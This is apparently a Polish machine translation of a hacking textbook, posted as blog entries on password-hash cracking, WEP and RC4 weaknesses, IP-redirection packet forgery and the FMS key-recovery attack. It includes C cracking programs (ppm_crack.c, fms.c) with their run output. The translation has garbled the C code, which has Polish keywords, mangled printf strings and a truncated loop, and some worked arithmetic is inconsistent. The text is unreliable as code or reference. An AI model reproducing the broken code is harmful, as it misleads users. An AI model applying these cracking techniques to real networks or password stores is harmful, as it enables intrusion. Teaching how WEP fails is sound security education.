for(i=0; i < pv1_len; i++) {

for(j=0; j < pv2_len; j++) {



plain[0] = prob_vector1[0][i] + 32;

plain[1] = prob_vector1[1][i] + 32;

plain[2] = prob_vector2[0][j] + 32;

plain[3] = prob_vector2[1][j] + 32;

plain[4] = 0;

if(strcmp(crypt(plain, "je"), pass) == 0) {

printf("Password : %s\n", plain);

i = 31337;

j = 31337;

}

}

}

if(i < 31337)

printf("Password wasn't salted with 'je' or is not 4 chars long.\n");

fclose(fd);

}

Drugi fragment kodu, ppm_crack.c, może zostać użyty do złamania kłopotliwego hasła% h4R w ciągu kilku sekund:

reader@hacking:~/booksrc $ ./crypt_test h4R% je

password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE

reader@hacking:~/booksrc $ gcc -O3 -o ppm_crack ppm_crack.c -lcrypt

reader@hacking:~/booksrc $ ./ppm_crack jeMqqfIfPNNTE

Filtering possible plaintext bytes for the first two characters:

only 1 vector of 4: 3801 plaintext pairs, with 42.12% saturation

vectors 1 AND 2 merged: 1666 plaintext pairs, with 18.46% saturation

first 3 vectors merged: 695 plaintext pairs, with 7.70% saturation

all 4 vectors merged: 287 plaintext pairs, with 3.18% saturation

Possible plaintext pairs for the first two bytes:

4 9 N !& !M !Q "/ "5 "W #K #d #g #p $K $O $s %) %Z %\ %r &( &T '- '0 '7 'D

'F ( (v (| )+ ). )E )W *c *p *q *t *x +C -5 -A -[ -a .% .D .S .f /t 02 07 0?

0e 0{ 0| 1A 1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7@ 7S

7z 8F 8H 9R 9U 9_ 9~ :- :q :s ;G ;J ;Z ;k V >X ?1 @#

@W @v @| AO B/ B0 BO Bz C( D8 D> E8 EZ F@ G& G? Gj Gy H4 I@ J JN JT JU Jh Jq

Ks Ku M) M{ N, N: NC NF NQ Ny O/ O[ P9 Pc Q! QA Qi Qv RA Sg Sv T0 Te U& U> UO

VT V[ V] Vc Vg Vi W: WG X" X6 XZ X` Xp YT YV Y^ Yl Yy Y{ Za [$ [* [9 [m [z \" \

+ \C \O \w ]( ]: ]@ ]w _K _j `q a. aN a^ ae au b: bG bP cE cP dU d] e! fI fv g!

gG h+ h4 hc iI iT iV iZ in k. kp l5 l` lm lq m, m= mE n0 nD nQ n~ o# o: o^ p0

p1 pC pc q* q0 qQ q{ rA rY s" sD sz tK tw u- v$ v. v3 v; v_ vi vo wP wt x" x&

x+ x1 xQ xX xi yN yo zO zP zU z[ z^ zf zi zr zt {- {B {a |s }) }+ }? }y ~L ~m

Filtering possible plaintext bytes for the last two characters:

only 1 vector of 4: 3821 plaintext pairs, with 42.34% saturation

vectors 1 AND 2 merged: 1677 plaintext pairs, with 18.58% saturation

first 3 vectors merged: 713 plaintext pairs, with 7.90% saturation

all 4 vectors merged: 297 plaintext pairs, with 3.29% saturation

Possible plaintext pairs for the last two bytes:

! & != !H !I !K !P !X !o !~ "r "{ "} #% #0 $5 $] %K %M %T &" &% &( &0 &4 &I

&q &} 'B 'Q 'd )j )w *I *] *e *j *k *o *w *| +B +W ,' ,J ,V -z . .$ .T /' /_

0Y 0i 0s 1! 1= 1l 1v 2- 2/ 2g 2k 3n 4K 4Y 4\ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7* 74

8E 9Q 9\ 9a 9b :8 :; :A :H :S :w ;" ;& ;L v >x ?& ?` ?j

?w @0 A* B B@ BT C8 CF CJ CN C} D+ D? DK Dc EM EQ FZ GO GR H) Hj I: I> J( J+

J3 J6 Jm K# K) K@ L, L1 LT N* NW N` O= O[ Ot P: P\ Ps Q- Qa R% RJ RS S3 Sa T!

T$ T@ TR T_ Th U" U1 V* V{ W3 Wy Wz X% X* Y* Y? Yw Z7 Za Zh Zi Zm [F \( \3 \5 \

_ \a \b \| ]$ ]. ]2 ]? ]d ^[ ^~ `1 `F `f `y a8 a= aI aK az b, b- bS bz c( cg dB

e, eF eJ eK eu fT fW fo g( g> gW g\ h$ h9 h: h@ hk i? jN ji jn k= kj l7 lo m<

m= mT me m| m} n% n? n~ o oF oG oM p" p9 p\ q} r6 r= rB sA sN s{ s~ tX tp u

u2 uQ uU uk v# vG vV vW vl w* w> wD wv x2 xA y: y= y? yM yU yX zK zv {# {) {=

{O {m |I |Z }. }; }d ~+ ~C ~a

Building probability vectors...

Cracking remaining 85239 possibilites..

Password : h4R%

reader@hacking:~/booksrc $

Programy te są hackami typu proof-of-concept, które wykorzystują dyfuzję bitów zapewnianą przez funkcje mieszające. Istnieją inne ataki kompromisowe w czasie i przestrzeni, a niektóre stały się dość popularne. RainbowCrack to popularne narzędzie, które obsługuje wiele algorytmów. Jeśli chcesz dowiedzieć się więcej, zajrzyj do Internetu

Powrót

03.11.2020 Szyfrowanie bezprzewodowe 802.11b

Zabezpieczenie bezprzewodowe 802.11b stanowi duży problem, głównie z powodu jego braku. Słabe strony Wired Equivalent Privacy (WEP), metody szyfrowania używanej w sieci bezprzewodowej, w znacznym stopniu przyczyniają się do ogólnej niepewności. Istnieją inne szczegóły, czasami ignorowane podczas wdrażania bezprzewodowego, które mogą również prowadzić do poważnych luk. Fakt, że sieci bezprzewodowe istnieją na warstwie 2, jest jednym z tych szczegółów. Jeśli sieć bezprzewodowa nie jest wyłączona z sieci VLAN lub zapora ogniowa, osoba atakująca powiązana z punktem dostępu bezprzewodowego może przekierować cały ruch sieci przewodowej przez sieć bezprzewodową za pomocą przekierowania ARP. To, w połączeniu z tendencją do łączenia bezprzewodowych punktów dostępu z wewnętrznymi sieciami prywatnymi, może prowadzić do poważnych luk. Oczywiście, jeśli włączono WEP, tylko klienci z odpowiednim kluczem WEP będą mogli skojarzyć się z punktem dostępu. Jeśli WEP jest bezpieczny, nie powinno być żadnych obaw związanych z kojarzeniem nieuczciwych napastników i spowodowaniem spustoszenia. Nasuwa się pytanie: "Jak bezpieczny jest WEP?"

Wired Equivalent Privacy

WEP miał być metodą szyfrowania zapewniającą bezpieczeństwo równoważne przewodowemu punktowi dostępowemu. Pierwotnie został zaprojektowany z 40-bitowymi kluczami; później pojawił się WEP2, aby zwiększyć rozmiar klucza do 104 bitów. Całe szyfrowanie odbywa się na podstawie poszczególnych pakietów, więc każdy pakiet jest zasadniczo osobną wiadomością tekstową do wysłania. Pakiet zostanie nazwany M. Najpierw obliczana jest suma kontrolna komunikatu M, więc integralność wiadomości można sprawdzić później. Odbywa się to przy użyciu 32-bitowej funkcji sumy kontrolnej nadmiarowości cyklicznej o nazwie CRC32. Ta suma kontrolna będzie nazywana CS, więc CS = CRC32 (M). Ta wartość jest dołączana na końcu komunikatu, który tworzy wiadomość tekstową P Teraz wiadomość w postaci zwykłego tekstu musi być zaszyfrowana. Odbywa się to za pomocą RC4, który jest szyfrem strumieniowym. Szyfr zainicjowany wartością początkową może generować strumień klucza, który jest po prostu arbitralnie długim strumieniem pseudolosowych bajtów. WEP używa wektora inicjującego (IV) dla wartości początkowej. IV składa się z 24 bitów generowanych dla każdego pakietu. Niektóre starsze implementacje WEP po prostu używają wartości sekwencyjnych dla IV, podczas gdy inne używają jakiejś formy pseudolosowego. Niezależnie od tego, jak zostaną wybrane 24 bity IV, są one dołączane do klucza WEP. (Te 24 bity IV są uwzględnione w rozmiarze klucza WEP przy odrobinie sprytnego obrotu marketingowego; gdy sprzedawca mówi o 64-bitowych lub 128-bitowych kluczach WEP, rzeczywiste klucze mają odpowiednio tylko 40 bitów i 104 bity, łącznie z 24 bitami IV.) Klucz IV i WEP razem tworzą wartość początkową, która będzie się nazywała S. Następnie wartość początkowa S jest podawana do RC4, co generuje strumień klucza. Ten strumień klucza jest XORowany z wiadomością tekstową P w celu utworzenia tekstu zaszyfrowanego C. IV jest dołączony do tekstu zaszyfrowanego, a cała rzecz jest hermetyzowana innym nagłówkiem i wysyłana przez łącze radiowe Gdy odbiorca otrzyma pakiet zaszyfrowany WEP, proces jest po prostu odwracany. Odbiorca pobiera IV z wiadomości, a następnie łączy IV z własnym kluczem WEP, aby wytworzyć wartość początkową S. Jeśli nadawca i odbiorca mają ten sam klucz WEP, wartości początkowe będą takie same. Ten materiał siewny jest ponownie wprowadzany do RC4 w celu wygenerowania tego samego strumienia klucza, który jest XORowany z resztą zaszyfrowanej wiadomości. Spowoduje to wygenerowanie oryginalnej wiadomości w postaci jawnego tekstu, składającej się z wiadomości M pakietu połączonej z sumą kontrolną integralności CS. Następnie odbiorca używa tej samej funkcji CRC32 do ponownego obliczenia sumy kontrolnej dla M i sprawdza, czy obliczona wartość odpowiada otrzymanej wartości CS. Jeśli sumy kontrolne są zgodne, pakiet jest przekazywany dalej. W przeciwnym razie wystąpiło zbyt wiele błędów transmisji lub klucze WEP nie pasowały, a pakiet został odrzucony. To w zasadzie WEP w pigułce.

Powrót

04.11.2020 Szyfr strumieniowy RC4

RC4 to zaskakująco prosty algorytm. Składa się z dwóch algorytmów: algorytmu planowania kluczowego (KSA) i algorytmu Pseudo-losowego generowania (PRGA). Oba te algorytmy używają S-boxu 8 na 8, który jest tylko tablicą 256 liczb, które są unikalne i mają zakres od 0 do 255. Mówiąc prosto, wszystkie liczby od 0 do 255 istnieją w tablicy , ale wszystkie są po prostu wymieszane na różne sposoby. KSA wykonuje początkowe szyfrowanie skrzynki S, w oparciu o wprowadzoną do niej wartość początkową, a ziarno może mieć długość do 256 bitów. Po pierwsze, tablica S-box jest wypełniana sekwencyjnymi wartościami od 0 do 255. Ta tablica będzie trafnie nazwana S. Następnie kolejna 256-bajtowa tablica jest wypełniana wartością początkową, powtarzając w razie potrzeby, aż cała tablica zostanie wypełniona. Ta tablica zostanie nazwana K. Następnie tablica S jest szyfrowana przy użyciu następującego pseudo-kodu.

j = 0;

dla i = 0 do 255

{

j = (j + S [i] + K [i]) mod 256;

zamień S [i] i S [j];

}

Gdy to się skończy, pole S-wszystko jest pomieszane na podstawie wartości początkowej. To kluczowy algorytm planowania. Dość proste. Teraz, gdy potrzebne są dane strumieniowe, wykorzystywany jest algorytm Pseudo-Random Generation (PRGA). Algorytm ten ma dwa liczniki, i i j, które są inicjowane od 0 na początku. Następnie dla każdego bajtu danych strumienia klucza używany jest następujący pseudo kod.

i = (i + 1) mod 256;

j = (j + S [i]) mod 256;

zamień S [i] i S [j];

t = (S [+] + S [j]) mod 256;

Wydaj wartość S [t];

Wyprowadzony bajt S [t] jest pierwszym bajtem strumienia klucza. Ten algorytm jest powtarzany dla dodatkowych bajtów strumienia klucza. RC4 jest na tyle prosty, że można go łatwo zapamiętać i zaimplementować w locie, i jest całkiem bezpieczny, jeśli jest właściwie używany. Istnieje jednak kilka problemów ze sposobem używania RC4 do WEP

Powrót

05.11.2020

Ataki WEP

Istnieje kilka problemów związanych z bezpieczeństwem WEP. W całej uczciwości nigdy nie miał być silnym protokołem kryptograficznym, ale raczej sposobem na zapewnienie przewodowej równoważności, o której mowa w akronimie. Poza słabościami bezpieczeństwa związanymi ze stowarzyszeniem i tożsamościami, istnieje kilka problemów z samym protokołem kryptograficznym. Niektóre z tych problemów wynikają z użycia CRC32 jako funkcji sumy kontrolnej dla integralności wiadomości, a inne problemy wynikają ze sposobu używania IV.

Ataki Brute-Force offline

Brute forcing zawsze będzie możliwym atakiem na dowolny bezpieczny komputerowo system. Pozostaje tylko pytanie, czy jest to atak praktyczny, czy nie. Dzięki WEP rzeczywista metoda wymuszania brutalnego trybu offline jest prosta: przechwyć kilka pakietów, a następnie spróbuj odszyfrować pakiety przy użyciu każdego możliwego klucza. Następnie ponownie oblicz sumę kontrolną pakietu i porównaj ją z oryginalną sumą kontrolną. Jeśli pasują, to najprawdopodobniej klucz. Zwykle musi to być wykonane przy użyciu co najmniej dwóch pakietów, ponieważ prawdopodobne jest, że pojedynczy pakiet może zostać odszyfrowany za pomocą niepoprawnego klucza, ale suma kontrolna będzie nadal ważna. Jednak przy założeniu 10 000 pęknięć na sekundę brutalne wymuszanie przez 40-bitową przestrzeń kluczową zajęłoby ponad trzy lata. Realistycznie, nowoczesne procesory mogą osiągnąć ponad 10 000 pęknięć na sekundę, ale nawet przy 200 000 pęknięć na sekundę zajmie to kilka miesięcy. W zależności od zasobów i poświęcenia atakującego ten typ ataku może być wykonalny lub nie. Tim Newsham dostarczył skuteczną metodę łamania, która atakuje słabości algorytmu generowania kluczy opartego na hasłach, który jest używany przez większość 40-bitowych (sprzedawanych jako 64-bitowe) kart i punktów dostępu. Jego metoda skutecznie redukuje 40-bitową przestrzeń klucza do 21 bitów, która może zostać złamana w ciągu kilku minut przy założeniu 10 000 pęknięć na sekundę (iw ciągu kilku sekund na nowoczesnym procesorze). W przypadku 104-bitowych (sprzedawanych jako 128-bitowe) sieci WEP wymuszanie nie jest możliwe.

Keystream Reuse

Innym potencjalnym problemem związanym z WEP jest ponowne wykorzystanie klucza. Jeśli dwa teksty jawne (P) są XOR z tym samym strumieniem klucza, aby wytworzyć dwa oddzielne teksty zaszyfrowane (C), XORowanie tych tekstów szyfrowych razem anuluje strumień klucza, co powoduje, że dwa jawne teksty XOR są ze sobą powiązane. Stąd, jeśli znany jest jeden z jawnych tekstów, drugi można łatwo odzyskać. Ponadto, ponieważ jawne teksty w tym przypadku są pakietami internetowymi o znanej i dość przewidywalnej strukturze, można zastosować różne techniki do odzyskiwania zarówno oryginalnych tekstów jawnych. IV ma zapobiegać takim atakom; bez niego każdy pakiet byłby szyfrowany przy użyciu tego samego strumienia klucza. Jeśli dla każdego pakietu używany jest inny IV, strumienie kluczy dla pakietów również będą różne. Jeśli jednak ten sam IV zostanie ponownie użyty, oba pakiety zostaną zaszyfrowane tym samym strumieniem klucza. Jest to warunek łatwy do wykrycia, ponieważ IV są zawarte w zwykłym tekście w zaszyfrowanych pakietach. Co więcej, IV używane w WEP mają tylko 24 bity długości, co prawie gwarantuje, że IVy zostaną ponownie wykorzystane. Zakładając, że IV są wybierane losowo, statystycznie powinien istnieć przypadek ponownego użycia klucza po zaledwie 5000 pakietów. Ta liczba wydaje się zaskakująco mała z powodu sprzecznego z intuicją probabilistycznego zjawiska znanego jako urodzinowy paradoks. Ten paradoks stwierdza, że jeśli 23 osoby znajdują się w tym samym pokoju, dwie osoby powinny dzielić urodziny. Z 23 osobami są (23 ˇ 22) / 2 lub 253 możliwe pary. Każda para ma prawdopodobieństwo sukcesu równe 1/365, czyli około 0,27 procent, co odpowiada prawdopodobieństwu niepowodzenia 1 - (1/365) lub około 99,726 procent. Podnosząc to prawdopodobieństwo do mocy 253, ogólne prawdopodobieństwo niepowodzenia wynosi około 49,95 procent, co oznacza, że prawdopodobieństwo sukcesu wynosi niewiele ponad 50 procent. Działa to w ten sam sposób w przypadku kolizji IV. Przy 5000 pakietów dostępnych jest (5000 ˇ 4999) / 2 lub 12 497 500 możliwych par. Każda para ma prawdopodobieństwo niepowodzenia 1 - (1/224). Gdy zostanie to zwiększone do potęgi liczby możliwych par, ogólne prawdopodobieństwo niepowodzenia wynosi około 47,5 procent, co oznacza, że istnieje 52,5 procent szans na kolizję IV z 5000 pakietów: Po wykryciu kolizji IV, niektóre wyuczone domysły na temat struktury jawnych tekstów mogą być użyte do ujawnienia oryginalnych tekstów jawnych przez XORowanie dwóch szyfrogramów razem. Ponadto, jeśli znany jest jeden z jawnych tekstów, inny zwykły tekst można odzyskać za pomocą prostego XOR.

Powrót

06.11.2020

Tabele słownika deszyfrowania opartego na IV

Po odzyskaniu jawnych tekstów dla przechwyconej wiadomości, znany będzie również strumień kluczy dla tego IV. Oznacza to, że ten strumień klucza może być użyty do odszyfrowania dowolnego innego pakietu o tym samym IV, pod warunkiem, że nie jest dłuższy niż odzyskany strumień klucza. Z czasem możliwe jest utworzenie tabeli strumieni kluczy indeksowanych przez co możliwe IV. Ponieważ istnieje tylko 224 możliwych IV, jeśli 1500 bajtów strumienia klucza jest zapisanych dla każdego IV, tabela wymagałaby tylko około 24 GB pamięci. Po utworzeniu takiej tabeli wszystkie kolejne zaszyfrowane pakiety można łatwo odszyfrować. Realistycznie, ta metoda ataku byłaby bardzo czasochłonna i nużąca. To ciekawy pomysł, ale są o wiele łatwiejsze sposoby na pokonanie WEP.

Przekierowanie IP

Innym sposobem odszyfrowania zaszyfrowanych pakietów jest oszukanie punktu dostępu do wykonania całej pracy. Zwykle punkty dostępu bezprzewodowego mają pewną formę połączenia z Internetem, a jeśli tak jest, możliwy jest atak przekierowania IP. Najpierw przechwytywany jest zaszyfrowany pakiet, a adres docelowy jest zmieniany na adres IP kontrolowany przez atakującego, bez odszyfrowywania pakietu. Następnie zmodyfikowany pakiet jest przesyłany z powrotem do bezprzewodowego punktu dostępowego, który odszyfruje pakiet i wyśle go bezpośrednio na adres IP atakującego. Modyfikacja pakietu jest możliwa dzięki sumie kontrolnej CRC32 będącej liniową funkcją bez klawisza. Oznacza to, że pakiet może być strategicznie zmodyfikowany, a suma kontrolna nadal będzie taka sama. Ten atak zakłada również, że znane są źródłowe i docelowe adresy IP. Informacje te są na tyle łatwe, że można je określić na podstawie standardowych schematów adresowania IP w sieci wewnętrznej. Ponadto, kilka przypadków ponownego użycia strumienia klucza z powodu kolizji IV można wykorzystać do określenia adresów. Gdy znany jest docelowy adres IP, wartość tę można XOR-ować z żądanym adresem IP, a cała ta rzecz może zostać przeniesiona na miejsce w zaszyfrowanym pakiecie. XORowanie docelowego adresu IP zostanie anulowane, pozostawiając żądany adres IP XORed ze strumieniem klucza. Następnie, aby upewnić się, że suma kontrolna pozostaje taka sama, źródłowy adres IP musi być strategicznie zmodyfikowany.

Załóżmy na przykład, że adres źródłowy to 192.168.2.57, a adres docelowy to 192.168.2.1. Atakujący kontroluje adres 123.45.67.89 i chce tam przekierować ruch. Te adresy IP istnieją w pakiecie w postaci binarnej 16-bitowych słów wysokiego i niskiego rzędu. Konwersja jest dość prosta. Suma kontrolna zostanie zmieniona przez NH + NL - DH - DL, więc ta wartość musi zostać odjęta od innego miejsca w pakiecie. Ponieważ adres źródłowy jest również znany i nie ma większego znaczenia, 16-bitowe słowo niższego rzędu tego adresu IP jest dobrym celem:

S'L = SL - (NH + NL - DH - DL)

S'L = 569 - (31533 + 17241 - 50344 - 513)

S'L = 2652

Nowy źródłowy adres IP powinien zatem wynosić 192.168.10.92. Źródłowy adres IP może być modyfikowany w zaszyfrowanym pakiecie przy użyciu tej samej sztuczki XORing, a następnie sumy kontrolne powinny być zgodne. Gdy pakiet zostanie wysłany do punktu dostępu bezprzewodowego, pakiet zostanie odszyfrowany i wysłany do 123.45.67.89, gdzie atakujący może go odzyskać. Jeśli atakujący ma możliwość monitorowania pakietów w całej sieci klasy B, adres źródłowy nie musi nawet być modyfikowany. Zakładając, że atakujący miał kontrolę nad całym zakresem adresów IP 123.45.X.X, 16-bitowe słowo adresu IP niższego rzędu mogłoby być strategicznie wybrane, aby nie zakłócać sumy kontrolnej. Jeśli NL = DH + DL - NH, suma kontrolna nie zostanie zmieniona.

Oto przykład:

NL = DH + DL - NH

NL = 50,344 + 513 - 31,533

N'L = 82390

Nowy docelowy adres IP powinien wynosić 123.45.75.124.



Powrót

07.11.2020

Fluhrer, Mantin i Shamir Attack

Atak Fluhrer, Mantin i Shamir (FMS) jest najczęściej stosowanym atakiem przeciwko WEP, spopularyzowanym przez narzędzia takie jak AirSnort. Ten atak jest naprawdę niesamowity. Wykorzystuje słabości algorytmu kluczowania RC4 i wykorzystania IV. Są słabe wartości IV, które przeciekają informacje o tajnym kluczu w pierwszym bajcie strumienia klucza. Ponieważ ten sam klucz jest używany wielokrotnie w różnych IV, jeśli zbierane są wystarczające pakiety ze słabymi IV, a pierwszy bajt strumienia klucza jest znany, klucz można określić. Na szczęście pierwszy bajt pakietu 802.11b to nagłówek snap, który prawie zawsze wynosi 0xAA. Oznacza to, że pierwszy bajt strumienia klucza można łatwo uzyskać przez XORowanie pierwszego zaszyfrowanego bajtu za pomocą 0xAA. Następnie należy zlokalizować słabe IV. IV dla WEP to 24 bity, co przekłada się na trzy bajty. Słabe IV są w formie (A + 3, N - 1, X), gdzie A jest bajtem klucza do ataku, N jest 256 (ponieważ RC4 działa w modulo 256), a X może być dowolną wartością. Tak więc, jeśli zerowy bajt strumienia klucza jest atakowany, byłoby 256 słabych IV w postaci (3, 255, X), gdzie Xranges od 0 do 255. Bajty strumienia klucza muszą być zaatakowane w kolejności, więc pierwszy bajt nie może zostać zaatakowany, dopóki nie będzie znany zerowy bajt. Sam algorytm jest całkiem prosty. Najpierw wykonuje A + 3 kroki algorytmu planowania klucza (KSA). Można to zrobić bez znajomości klucza, ponieważ IV zajmie pierwsze trzy bajty tablicy K. Jeśli zerowy bajt klucza jest znany, a A równa się 1, KSA można przerobić do czwartego kroku, ponieważ znane będą pierwsze cztery bajty tablicy K. W tym momencie, jeśli S [0] lub S [1] zostały zakłócone w ostatnim kroku, cała próba powinna zostać odrzucona. Mówiąc prościej, jeśli j jest mniejsze niż 2, próba powinna zostać odrzucona. W przeciwnym razie weź wartość j i wartość S [A + 3] i odejmij obie wartości od pierwszego bajtu strumienia klucza (oczywiście modulo 256). Ta wartość będzie prawidłowym bajtem klucza około 5 procent czasu i losowo mniej niż 95 procent czasu. Jeśli jest to zrobione z wystarczającą ilością słabych IV (z różnymi wartościami dla X), można określić poprawny bajt klucza. Potrzeba około 60 IV, aby zwiększyć prawdopodobieństwo powyżej 50 procent. Po określeniu jednego bajtu klucza cały proces może być ponownie wykonany, aby określić następny bajt klucza, aż cały klucz zostanie ujawniony. Dla celów demonstracyjnych RC4 zostanie przeskalowany, więc N równa się 16 zamiast 256. Oznacza to, że wszystko jest modulo 16 zamiast 256, a wszystkie tablice to 16 "bajtów" składających się z 4 bitów, zamiast 256 rzeczywistych bajtów. Zakładając, że klucz jest (1, 2, 3, 4, 5), a zerowy bajt klucza zostanie zaatakowany, A równa się 0. Oznacza to, że słabe IV powinny mieć postać (3, 15, X). W tym przykładzie X będzie równe 2, więc wartością początkową będzie (3, 15, 2, 1, 2, 3, 4, 5). Używając tego materiału początkowego, pierwszy bajt wyjścia strumienia klucza będzie wynosił 9.

wyjście = 9

A = 0

IV = 3, 15, 2

Klawisz = 1, 2, 3, 4, 5

Seed = IV połączony z kluczem

K [] = 3 15 2 X X X X 3 15 2 X X X X X

S [] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Ponieważ klucz jest obecnie nieznany, tablica K jest załadowana tym, co jest obecnie znane, a tablica S jest wypełniona sekwencyjnymi wartościami od 0 do 15. Następnie j jest inicjowane na 0, a pierwsze trzy kroki KSA to Gotowe. Pamiętaj, że cała matematyka jest wykonywana modulo 16.

Krok pierwszy KSA:

i = 0

j = j + S [i] + K [i]

j = 0 + 0 + 3 = 3

Zamień S [i] i S [j]

K [] = 3 15 2 X X X X 3 15 2 X X X X X

S [] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15

Krok drugi KSA:

i = 1

j = j + S [i] + K [i]

j = 3 + 1 + 15 = 3

Zamień S [i] i S [j]

K [] = 3 15 2 X X X X 3 15 2 X X X X X

S [] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15

Krok trzeci KSA:

i = 2

j = j + S [i] + K [i]

j = 3 + 2 + 2 = 7

Zamień S [i] i S [j]

K [] = 3 15 2 X X X X 3 15 2 X X X X X

S [] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15

W tym momencie j nie jest mniejsze niż 2, więc proces może być kontynuowany. S [3] to 1, j to 7, a pierwszy bajt wyjścia strumienia klucza wynosił 9. Zatem zerowy bajt klucza powinien wynosić 9 -7 -1 = 1. Informacje te można wykorzystać do określenia następnego bajtu klucz, używając IV w postaci (4, 15, X) i działając KSA do czwartego kroku. Używając IV (4, 15, 9), pierwszy bajt strumienia klucza wynosi 6.

wyjście = 6

A = 0

IV = 4, 15, 9

Klawisz = 1, 2, 3, 4, 5

Seed = IV połączony z kluczem

K [] = 4 15 9 1 X X X 4 15 9 1 X X X X

S [] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Krok pierwszy KSA:

i = 0

j = j + S [i] + K [i]

j = 0 + 0 + 4 = 4

Zamień S [i] i S [j]

K [] = 4 15 9 1 X X X 4 15 9 1 X X X X

S [] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15

Krok drugi KSA:

i = 1

j = j + S [i] + K [i]

j = 4 + 1 + 15 = 4

Zamień S [i] i S [j]

K [] = 4 15 9 1 X X X 4 15 9 1 X X X X

S [] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15

Krok trzeci KSA:

i = 2

j = j + S [i] + K [i]

j = 4 + 2 + 9 = 15

Zamień S [i] i S [j]

K [] = 4 15 9 1 X X X 4 15 9 1 X X X X

S [] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

Krok czwarty KSA:

i = 3

j = j + S [i] + K [i]

j = 15 + 3 + 1 = 3

Zamień S [i] i S [j]

K [] = 4 15 9 1 X X X 4 15 9 1 X X X X

S [] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

wyjście -j - S [4] = klucz [1]

6 - 3 - 1 = 2

Ponownie określa się poprawny bajt klucza. Oczywiście ze względu na demonstrację wartości X zostały strategicznie wybrane. Aby dać Ci prawdziwe poczucie statystycznej natury ataku na pełną implementację RC4, dołączono następujący kod źródłowy:

Powrót

08.11.2020

fms.c

#include < stdio.h >

/ * Szyfr strumieniowy RC4 * /

int RC4 (int * IV, int * key) {

int K [256];

int S [256];

int seed [16];

int i, j, k, t;

// Seed = IV + klawisz;

for (k = 0; k <3; k ++)

seed[k] = IV [k];

dla (k = 0; k <13; k ++)

seed [k + 3] = klucz [k];

// - = Algorytm planowania klucza (KSA) = -

// Inicjalizuj tablice.

dla (k = 0; k <256; k ++) {

S [k] = k;

K [k] = ziarno [k% 16];

}

j = 0;

for (i = 0; i <256; i ++) {

j = (j + S [i] + K [i])% 256;

t = S [i]; S [i] = S [j]; S [j] = t; // Zamień (S [i], S [j]);

}

// Pierwszy krok PRGA dla pierwszego bajtu strumienia klucza

i = 0;

j = 0;

i = i + 1;

j = j + S [i];

t = S [i]; S [i] = S [j]; S [j] = t; // Zamień (S [i], S [j]);

k = (S [i] + S [j])% 256;

return S [k];

}

int main (int argc, char * argv []) {

int K [256];

int S [256];

int IV [3];

klucz int [13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};

int seed [16];

int N = 256;

int i, j, k, t, x, A;

int keystream, keybyte;

int max_result, max_count;

int wyniki [256];

int znane_j, znane_S;

if (argc <2) {

printf ("Użycie:% s n", argv [0]);

exit (0);

}

A = atoi (argv [1]);

if ((A> 12) || (A <0)) {

printf ("keybyte musi być od 0 do 12. n");

exit (0);

}

for (k = 0; k <256; k ++)

wyniki [k] = 0;

IV [0] = A + 3;

IV [1] = N - 1;

for (x = 0; x <256; x ++) {

IV [2] = x;

keystream = RC4 (IV, klucz);

printf ("Używanie IV: (% d,% d,% d), pierwszy bajt strumienia klucza to% u"

IV [0], IV [1], IV [2], strumień klucza);

printf ("Wykonywanie pierwszych kroków% d KSA ..", A + 3);

// Seed = IV + klawisz;

for (k = 0; k <3; k ++)

seed [k] = IV [k];

for(k = 0; k <13; k ++)

seed [k + 3] = klucz [k];

// - = Algorytm planowania klucza (KSA) = -

// Inicjalizuj tablice.

dla (k = 0; k <256; k ++) {

S [k] = k;

K [k] = ziarno [k% 16];

}

j = 0;

for (i = 0; i <(A + 3); i ++) {

j = (j + S [i] + K [i])% 256;

t = S [i];

S [i] = S [j];

S [j] = t;

}

if (j <2) {// Jeśli j <2, to S [0] lub S [1] zostały zakłócone.

printf ("S [0] lub S [1] zostało zakłócone, odrzucając .. n");

} else {

znane_j = j;

znane_S = S [A + 3];

printf ("w iteracji KSA #% d, j =% d i S [% d] =% d

A + 3, znane_j, A + 3, znane_S);

keybyte = strumień klucza - znane_j - znane_S;

while (keybyte <0)

keybyte = keybyte + 256;

printf ("klucz [% d] przewidywanie =% d -% d -% d =% d

A, keystream, znane_j, znane_S, keybyte);

wyniki [keybyte] = wyniki [keybyte] + 1;

}

}

max_result = -1;

max_count = 0;

for (k = 0; k <256; k ++) {

if (max_count
max_count = wyniki [k];

max_result = k;

}

}

printf ("n Tabela częstotliwości dla klucza [% d] (* = najczęściej) n", A);

dla (k = 0; k <32; k ++) {

dla (i = 0; i <8; i ++) {

t = k + i * 32;

if (max_result == t)

printf ("% 3d% 2d * |", t, wyniki [t]);

else

printf ("% 3d% 2d |", t, wyniki [t]);

}

printf ("n");

}

printf ("n [Klucz aktualny] = (");

for (k = 0; k <12; k ++)

printf ("% d", klucz [k]);

printf ("% d) n", klawisz [12]);

printf ("klucz [% d] to prawdopodobnie% d", A, max_result);

}

Ten kod wykonuje atak FMS na 128-bitowy WEP (klucz 104-bitowy, 24-bitowy IV), wykorzystując każdą możliwą wartość X. Bajt klucza do ataku jest jedynym argumentem, a klucz jest zakodowany na klucz szyk. Poniższy wynik pokazuje kompilację i wykonanie kodu fms.c do złamania klucza RC4.

reader@hacking:~/booksrc $ gcc -o fms fms.c

reader@hacking:~/booksrc $ ./fms

Usage: ./fms

reader@hacking:~/booksrc $ ./fms 0

Using IV: (3, 255, 0), first keystream byte is 7

Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1

key[0] prediction = 7 - 5 - 1 = 1

Using IV: (3, 255, 1), first keystream byte is 211

Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1

key[0] prediction = 211 - 6 - 1 = 204

Using IV: (3, 255, 2), first keystream byte is 241

Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1

key[0] prediction = 241 - 7 - 1 = 233

.:[ output trimmed ]:.

Using IV: (3, 255, 252), first keystream byte is 175

